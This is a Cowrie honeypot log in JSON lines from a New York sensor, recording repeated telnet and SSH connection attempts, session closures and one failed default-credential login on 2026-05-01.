{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37022,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2e451aadc2e","protocol":"telnet","message":"New connection: 213.129.84.225:37022 (159.203.135.109:23) [session: b2e451aadc2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:57.208725Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123","message":"login attempt [admin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:57.783503Z","src_ip":"202.125.94.71","session":"4716381a31f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.547194957733154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:58.047761Z","src_ip":"207.148.4.7","session":"7cdaa8a7c236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0837299823761,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:58.143842Z","src_ip":"213.129.84.225","session":"129670e4c780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:59.044984Z","src_ip":"202.125.94.71","session":"4716381a31f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46282,"dst_ip":"159.203.135.109","dst_port":23,"session":"011a50c10c52","protocol":"telnet","message":"New connection: 213.129.84.225:46282 (159.203.135.109:23) [session: 011a50c10c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:59.245503Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48160,"dst_ip":"159.203.135.109","dst_port":23,"session":"948ea68e6d92","protocol":"telnet","message":"New connection: 213.129.84.225:48160 (159.203.135.109:23) [session: 948ea68e6d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:59.616258Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48514,"dst_ip":"159.203.135.109","dst_port":23,"session":"7803107268fa","protocol":"telnet","message":"New connection: 213.129.84.225:48514 (159.203.135.109:23) [session: 7803107268fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:22:59.698022Z"}
{"eventid":"cowrie.session.closed","duration":30.243597984313965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:00.160455Z","src_ip":"213.129.84.225","session":"9793339a7123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45874,"dst_ip":"159.203.135.109","dst_port":23,"session":"45beff3d39d6","protocol":"telnet","message":"New connection: 213.129.84.225:45874 (159.203.135.109:23) [session: 45beff3d39d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:00.176358Z"}
{"eventid":"cowrie.session.closed","duration":30.96852207183838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:00.182697Z","src_ip":"213.129.84.225","session":"b387d72ba1e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35180115699768,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:00.417707Z","src_ip":"207.148.4.7","session":"2f7642686dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":58484,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6ad653b111","protocol":"telnet","message":"New connection: 137.184.155.248:58484 (10.17.0.5:23) [session: 5c6ad653b111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:00.569663Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42090,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3eb77003cdf","protocol":"telnet","message":"New connection: 213.129.84.225:42090 (159.203.135.109:23) [session: a3eb77003cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:01.326692Z"}
{"eventid":"cowrie.session.closed","duration":30.962677478790283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:01.694887Z","src_ip":"207.148.4.7","session":"502e03f7b30b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.430453538894653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:02.043506Z","src_ip":"213.129.84.225","session":"881dce702af4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512731790542603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:02.537601Z","src_ip":"207.148.4.7","session":"bdd6201aa144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.296689748764038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:03.052696Z","src_ip":"213.129.84.225","session":"251ac8ba4c4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43746018409729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:03.058810Z","src_ip":"213.129.84.225","session":"c2310110a411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.173675060272217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:05.061631Z","src_ip":"213.129.84.225","session":"3127ac966e70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.322347402572632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:05.066872Z","src_ip":"213.129.84.225","session":"1964e5d99415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31466507911682,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:05.073570Z","src_ip":"207.148.4.7","session":"f6ec99264745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954561471939087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:05.140605Z","src_ip":"213.129.84.225","session":"34db64c3f8fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59270,"dst_ip":"159.203.135.109","dst_port":23,"session":"48a88fd707f4","protocol":"telnet","message":"New connection: 213.129.84.225:59270 (159.203.135.109:23) [session: 48a88fd707f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:05.736728Z"}
{"eventid":"cowrie.session.closed","duration":30.46873188018799,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:07.196258Z","src_ip":"213.129.84.225","session":"04add8269030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":55124,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa818171b89c","protocol":"telnet","message":"New connection: 213.129.84.225:55124 (159.203.135.109:23) [session: aa818171b89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:07.260404Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58234,"dst_ip":"159.203.135.109","dst_port":23,"session":"91462dbd0cc2","protocol":"telnet","message":"New connection: 213.129.84.225:58234 (159.203.135.109:23) [session: 91462dbd0cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:07.946130Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":58668,"dst_ip":"159.203.135.109","dst_port":23,"session":"fae9eea87340","protocol":"telnet","message":"New connection: 213.129.84.225:58668 (159.203.135.109:23) [session: fae9eea87340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:08.057388Z"}
{"eventid":"cowrie.session.closed","duration":30.50289249420166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:08.069220Z","src_ip":"213.129.84.225","session":"6aa3dbb840fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.168317556381226,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:08.190254Z","src_ip":"213.129.84.225","session":"28b134a0d1ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088637351989746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:08.790402Z","src_ip":"207.148.4.7","session":"dac79c3e4dec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38302,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a30526e0785","protocol":"telnet","message":"New connection: 213.129.84.225:38302 (159.203.135.109:23) [session: 0a30526e0785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:09.745356Z"}
{"eventid":"cowrie.session.closed","duration":31.07332181930542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:10.043306Z","src_ip":"213.129.84.225","session":"2016d33e360e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578215837478638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:11.112705Z","src_ip":"213.129.84.225","session":"270798c5ecc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.398557901382446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:12.041280Z","src_ip":"213.129.84.225","session":"a32360d797f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.596567153930664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:12.158290Z","src_ip":"207.148.4.7","session":"b47d94ee2097","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.48843169212341,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:12.389291Z","src_ip":"137.184.155.248","session":"86e464d58cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.520674467086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:13.130964Z","src_ip":"213.129.84.225","session":"aa899907f0d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59131622314453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:14.212509Z","src_ip":"213.129.84.225","session":"5351b91dca7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37388,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a3890865e26","protocol":"telnet","message":"New connection: 213.129.84.225:37388 (159.203.135.109:23) [session: 3a3890865e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:16.481169Z"}
{"eventid":"cowrie.session.closed","duration":30.817588329315186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:17.095260Z","src_ip":"213.129.84.225","session":"73bb4ca78bde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":42312,"dst_ip":"159.203.135.109","dst_port":23,"session":"59f6a0ff2734","protocol":"telnet","message":"New connection: 213.129.84.225:42312 (159.203.135.109:23) [session: 59f6a0ff2734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:17.495289Z"}
{"eventid":"cowrie.session.closed","duration":31.015068531036377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:18.096280Z","src_ip":"213.129.84.225","session":"3eea9ec79ef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":49178,"dst_ip":"159.203.135.109","dst_port":23,"session":"926a5be1adee","protocol":"telnet","message":"New connection: 213.129.84.225:49178 (159.203.135.109:23) [session: 926a5be1adee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:18.101449Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":50904,"dst_ip":"159.203.135.109","dst_port":23,"session":"beda51be2367","protocol":"telnet","message":"New connection: 213.129.84.225:50904 (159.203.135.109:23) [session: beda51be2367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:18.454315Z"}
{"eventid":"cowrie.session.closed","duration":47.228859663009644,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:19.142227Z","src_ip":"137.184.155.248","session":"4462db6c1d2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53170,"dst_ip":"159.203.135.109","dst_port":23,"session":"86b9b45c1f5e","protocol":"telnet","message":"New connection: 213.129.84.225:53170 (159.203.135.109:23) [session: 86b9b45c1f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:19.895979Z"}
{"eventid":"cowrie.session.closed","duration":30.42311120033264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:20.058400Z","src_ip":"213.129.84.225","session":"20cbd606a6e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60160,"dst_ip":"159.203.135.109","dst_port":23,"session":"960baa4ef9d3","protocol":"telnet","message":"New connection: 213.129.84.225:60160 (159.203.135.109:23) [session: 960baa4ef9d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:20.405850Z"}
{"eventid":"cowrie.session.closed","duration":30.942004919052124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:20.702963Z","src_ip":"207.148.4.7","session":"f43dce584f0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.97798800468445,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:22.051497Z","src_ip":"213.129.84.225","session":"45e0612ba796","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":40556,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b509afd68c9","protocol":"telnet","message":"New connection: 213.129.84.225:40556 (159.203.135.109:23) [session: 8b509afd68c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:22.202283Z"}
{"eventid":"cowrie.session.closed","duration":31.174201726913452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:22.327321Z","src_ip":"207.148.4.7","session":"627625f6012e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46488,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc072de43f62","protocol":"telnet","message":"New connection: 213.129.84.225:46488 (159.203.135.109:23) [session: fc072de43f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:23.393772Z"}
{"eventid":"cowrie.session.closed","duration":30.737241983413696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:24.057740Z","src_ip":"213.129.84.225","session":"c4859a42ec3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62948489189148,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:24.090089Z","src_ip":"207.148.4.7","session":"649d422ae535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.434496879577637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:24.141597Z","src_ip":"213.129.84.225","session":"f2cffef15569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160778522491455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:24.186643Z","src_ip":"207.148.4.7","session":"82cda42b8181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86298632621765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:24.259698Z","src_ip":"213.129.84.225","session":"b5b31f1acdcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001604318618774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:24.505999Z","src_ip":"213.129.84.225","session":"139b9541bf2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989429235458374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:25.086536Z","src_ip":"207.148.4.7","session":"1c676828372a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23588991165161,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:25.146323Z","src_ip":"213.129.84.225","session":"0ad0aabdffd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56989,"dst_ip":"159.203.135.109","dst_port":23,"session":"d89a196f6573","protocol":"telnet","message":"New connection: 213.129.84.225:56989 (159.203.135.109:23) [session: d89a196f6573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:25.622498Z"}
{"eventid":"cowrie.session.closed","duration":31.291598320007324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:25.808123Z","src_ip":"213.129.84.225","session":"0bb7478d24fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":56770,"dst_ip":"10.17.0.5","dst_port":23,"session":"095f148f58fd","protocol":"telnet","message":"New connection: 137.184.155.248:56770 (10.17.0.5:23) [session: 095f148f58fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:27.041629Z"}
{"eventid":"cowrie.session.closed","duration":31.620646715164185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:27.932172Z","src_ip":"207.148.4.7","session":"45eda6f53349","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836899757385254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:28.045505Z","src_ip":"213.129.84.225","session":"b2e451aadc2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43220,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6293b8d0ea4","protocol":"telnet","message":"New connection: 213.129.84.225:43220 (159.203.135.109:23) [session: c6293b8d0ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:28.794168Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48062,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7c428f2de50","protocol":"telnet","message":"New connection: 213.129.84.225:48062 (159.203.135.109:23) [session: c7c428f2de50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:29.896234Z"}
{"eventid":"cowrie.session.closed","duration":30.8251531124115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:30.070571Z","src_ip":"213.129.84.225","session":"011a50c10c52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472540616989136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:30.170442Z","src_ip":"213.129.84.225","session":"7803107268fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686250686645508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:30.302351Z","src_ip":"213.129.84.225","session":"948ea68e6d92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917852640151978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:31.094024Z","src_ip":"213.129.84.225","session":"45beff3d39d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53570,"dst_ip":"159.203.135.109","dst_port":23,"session":"083fa792d22e","protocol":"telnet","message":"New connection: 213.129.84.225:53570 (159.203.135.109:23) [session: 083fa792d22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:31.216921Z"}
{"eventid":"cowrie.session.closed","duration":31.21826982498169,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:32.544835Z","src_ip":"213.129.84.225","session":"a3eb77003cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38560,"dst_ip":"159.203.135.109","dst_port":23,"session":"52f62d6a051b","protocol":"telnet","message":"New connection: 213.129.84.225:38560 (159.203.135.109:23) [session: 52f62d6a051b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:34.145349Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41902,"dst_ip":"159.203.135.109","dst_port":23,"session":"55f1a62a468d","protocol":"telnet","message":"New connection: 213.129.84.225:41902 (159.203.135.109:23) [session: 55f1a62a468d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:34.902095Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":44046,"dst_ip":"159.203.135.109","dst_port":23,"session":"aca7192890c2","protocol":"telnet","message":"New connection: 213.129.84.225:44046 (159.203.135.109:23) [session: aca7192890c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:35.346228Z"}
{"eventid":"cowrie.session.closed","duration":30.315288543701172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:36.051880Z","src_ip":"213.129.84.225","session":"48a88fd707f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48196,"dst_ip":"159.203.135.109","dst_port":23,"session":"97efafe0da87","protocol":"telnet","message":"New connection: 213.129.84.225:48196 (159.203.135.109:23) [session: 97efafe0da87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:36.295463Z"}
{"eventid":"cowrie.session.closed","duration":30.105982303619385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:38.051982Z","src_ip":"213.129.84.225","session":"91462dbd0cc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":48018,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a906082881b","protocol":"ssh","message":"New connection: 203.90.110.186:48018 (10.17.0.5:22) [session: 3a906082881b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:38.064575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:23:38.069290Z","src_ip":"203.90.110.186","session":"3a906082881b","protocol":"ssh"}
